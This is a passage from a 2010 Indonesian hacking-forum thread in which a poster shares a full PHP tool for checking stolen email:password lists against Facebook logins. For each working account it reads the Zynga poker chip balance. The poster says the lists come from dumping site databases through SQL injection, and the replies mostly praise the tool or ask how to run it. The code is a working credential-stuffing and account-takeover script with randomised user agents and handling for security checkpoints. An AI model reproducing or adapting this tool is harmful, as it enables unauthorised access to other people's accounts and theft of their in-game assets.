Page 1 of 4

[PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Mon Jun 07, 2010 1:20 am
by gblack
This tool is used to check email:password list for zynga poker chips on facebook. Usually i get the emails:passwords list by dumping site database with sql injection. :ngakak:

Image
Code: Select all
<html>
<head><title>-  Facebook Texas HoldEm Poker Check -</title>
<style type="text/css">
body{
   background-color: #000;
   font-family: courier new;
   font-size:11px;
   color:#FFFFFF;
   scrollbar-face-color: #FFFFFF;
   scrollbar-highlight-color: #000000;
   scrollbar-shadow-color: #000000;
   scrollbar-3dlight-color: #FFFFFF;
   scrollbar-arrow-color: #FFFFFF;
   scrollbar-track-color: #FFFFFF;
   scrollbar-darkshadow-color: #FFFFFF;
}
input,textarea{
   font-family: courier new;
   font-size:11px;
   color:#FFFFFF;
   background-color: #999999;
   border:1px solid #000000;
}
</style>
</head>
<body>
<h2><img src="http://photos-e.ak.fbcdn.net/photos-ak-sf2p/v27562/52/2389801228/app_1_2389801228_4018.gif" width="50px"> Facebook Texas HoldEm Poker Check</h2>
<form name="data" method="post">
<textarea name="logins" class="input" cols="50" rows="10"></textarea><br><h4>Copypaste &copy; 2010 by gblack & slay3rz</h4><br>
<input type="submit" value="Check!">
</form>
<?php
error_reporting(0);
set_time_limit(0);
if(isset($_POST['logins'])){
   $logins = trim($_POST['logins']);
   flush(); ob_flush();
   $logins = split("\n", $logins);
   $jum =  count($logins);
   flush(); ob_flush();
   print "<hr><b>Checking ".$jum." Facebook logins now...<br>Please wait...</b><br>";
   flush(); ob_flush();
   for($x = 0; $x < $jum; $x++) {
      $logins = str_replace(" ", "", $logins);
      $logins = str_replace("\r", "", $logins);
      $logins = str_replace("\n", "", $logins);
      list($email, $password) = split(":", $logins[$x]);
      $num = $x + 1;
      print "<br>[".$num."] ".$email.":".$password." - ";
      flush(); ob_flush();
      if(file_exists("fb_cookies.txt")) {
         unlink("fb_cookies.txt");
      }
      $jembut = CekPoker($email, $password);
      print $jembut;
   }
   print "<hr><b>Done!</b>";
   
}
function CekPoker($email,$passw) {
   $uas = array(1 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.16) Gecko/2010010414 Firefox/3.0.16 Flock/2.5.6",
            2 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
            3 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6",
            4 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",
            5 => "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)");
   $ua = rand(1, count($uas));
   $ua = $uas[$ua];
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, "http://www.facebook.com/login.php?api_key=965dc598471b823e0da74090bfe054bc&v=1.0&next=http%3A%2F%2Ffacebook.poker.zynga.com%2Fpoker%2F&canvas=1");
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_ENCODING, "");
   curl_setopt($ch, CURLOPT_COOKIEJAR, "poker.txt");
   curl_setopt($ch, CURLOPT_USERAGENT, $ua);
   $chEx = curl_exec($ch);
      curl_close($ch);
      $chr = substr($chEx, strpos($chEx, "name=\"charset_test\""));
      $chr = substr($chr, strpos($chr, "value=") + 7);
      $chr = substr($chr, 0, strpos($chr, "\""));
      $api = substr($chEx, strpos($chEx, "name=\"api_key\""));
      $api = substr($api, strpos($api, "value=") + 7);
      $api = substr($api, 0, strpos($api, "\""));
      $loc = substr($chEx, strpos($chEx, "name=\"locale\""));
      $loc = substr($loc, strpos($loc, "value=") + 7);
      $loc = substr($loc, 0, strpos($loc, "\""));
      $lsd = substr($chEx, strpos($chEx, "name=\"lsd\""));
      $lsd = substr($lsd, strpos($lsd, "value=") + 7);
      $lsd = substr($lsd, 0, strpos($lsd, "\""));
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, "http://www.facebook.com/login.php?api_key=965dc598471b823e0da74090bfe054bc&v=1.0&next=http%3A%2F%2Ffacebook.poker.zynga.com%2Fpoker%2F&canvas=1");
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_POST, 1);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($ch, CURLOPT_POSTFIELDS, "api_key=".$api."&locale=".$loc."&non_com_login=&email=".$email."&pass=".$passw."&charset_test=".$chr."&lsd=".$lsd);
      curl_setopt($ch, CURLOPT_ENCODING, "");
      curl_setopt($ch, CURLOPT_COOKIEFILE, "poker.txt");
      curl_setopt($ch, CURLOPT_COOKIEJAR, "poker.txt");
      curl_setopt($ch, CURLOPT_USERAGENT, $ua);
      $chEx = curl_exec($ch);
      curl_close($ch);
      
      if(preg_match("/http:\/\/photos-e.ak.fbcdn.net\/photos-ak-sf2p\/v27562\/52\/2389801228\/app_1_2389801228_4018.gif/", $chEx)) {
         print "Not playing Texas Hold'Em Poker!";
      } elseif(preg_match("/Please review recent activity/", $chEx)) {
         print "Security check needed!";
      } elseif(preg_match("/Incorrect Email/", $chEx)) {
         print "Wrong password!";
      } elseif(preg_match("/<html><head><title>Redirecting.../", $chEx)) {
         $token = preg_match("/auth_token=(.*)\"/", $chEx, $tokenz);
         $ch = curl_init();
         curl_setopt($ch, CURLOPT_URL, "http://apps.facebook.com/texas_holdem/?auth_token=".$token);
         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
         curl_setopt($ch, CURLOPT_ENCODING, "");
         curl_setopt($ch, CURLOPT_COOKIEJAR, "poker.txt");
         curl_setopt($ch, CURLOPT_USERAGENT, $ua);
         $chEx = curl_exec($ch);
         curl_close($ch);
         if(preg_match("/PokerLadder(.*).swf/", $chEx)) {
            if(preg_match("/__current_chips = (.*)\;/i", $chEx, $chips)) {
               $chipz = preg_split("/;/", $chips[1]);
               $chipz = $chipz[0];
               if($chipz > 1000000000) {
                  $chipz = round(($chipz/1000000000),2)." B";
                  number_format($chipz);
               } elseif ($chipz > 1000000) {
                  $chipz = round(($chipz/1000000),2)." M";
                  number_format($chipz);
               } elseif ($chipz > 1000) {
                  $chipz = round(($chipz/1000),2)." K";
                  number_format($chipz);
               } elseif ($chipz < 100) {
                  $chipz = "Forum Yogyafree Keren Yach! Kere iki bocah!";
               } else {
                  $chipz = "Forum Yogyafree Keren Yach! Kere iki bocah!";
               }
               print $chipz;
            } else {
               print "Forum Yogyafree Keren Yach! Error cok!";
            }
         }
      } elseif(preg_match("/Please re-enter your password/", $chEx)) {
         print "Please re-enter your password!";
      } elseif(preg_match("/PokerLadder(.*).swf/", $chEx)) {
         if(preg_match("/__current_chips = (.*)\;/i", $chEx, $chips)) {
            $chipz = preg_split("/;/", $chips[1]);
            $chipz = $chipz[0];
            if($chipz > 1000000000) {
               $chipz = round(($chipz/1000000000),2)." B";
               number_format($chipz);
            } elseif ($chipz > 1000000) {
               $chipz = round(($chipz/1000000),2)." M";
               number_format($chipz);
            } elseif ($chipz > 1000) {
               $chipz = round(($chipz/1000),2)." K";
               number_format($chipz);
            } elseif ($chipz < 100) {
               $chipz = "Forum Yogyafree Keren Yach! Kere iki bocah!";
            } else {
               $chipz = "Forum Yogyafree Keren Yach! Kere iki bocah!";
            }
            print $chipz;
         }
      }  elseif(preg_match("/Your account has a high number of invalid login attempts./", $chEx)) {
         print "Damn, captcha enabled!";
      } elseif (preg_match("/Please answer a few security questions/", $chEx)) {
         print "Please answer a few security questions";
      } else {
         print "Unkn0wn response...";
         //print_r($chEx);
      }
   }
?>

It would be funny as hell if you can get 1 Billion chips with this tool!!! :love: :ngakak:

Enjoy and don't rip this tool and publish this to your blog/site, its gay characteristic anyway, No comment!! :ngakak:

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Mon Jun 07, 2010 1:27 am
by Gumux_1107
Temen kita yang satu ini emang gagah... salut bro. cuma bisa bilang awesome :D. Hehehehe

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Mon Jun 07, 2010 8:10 am
by skaykyu
wew sadiz tutorialnya, aq minta mentahan chipnya aza kalo boleh se :devil

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Mon Jun 07, 2010 9:58 am
by andryh4ever
Wah mantap.. Sekarang yg jadi prtanyaanya "bagaimana sh cra main poker? Ga tw aq" :circle:

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Wed Jun 09, 2010 7:09 pm
by vodork
nice on :)
croot~ dolo

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Wed Jun 09, 2010 7:26 pm
by securesh
:pusing: bingung makenya

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Fri Jun 11, 2010 10:47 am
by c3p3ru6
:circle: binggunk kk make na gmana masih newbie sekali

mohon bimbingan lanjut :maaf: :maaf: :kaca: :kaca:

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Fri Jun 11, 2010 11:53 pm
by hanifsh
:malumalu: script nya udah di copas ke notepad++

tapi bingung :pusing: gmn cara jalaninnya y??

mohon pencerahannya kk :kaca: :kaca: :kaca:

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Sat Jun 12, 2010 1:43 pm
by za®biruputih
ni gmn cara pake nya boss ?
save .html atw gmn
mklum newbie :circle:

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

PostPosted: Sat Jun 12, 2010 1:59 pm
by dippounix
Ane Numpang sedot gan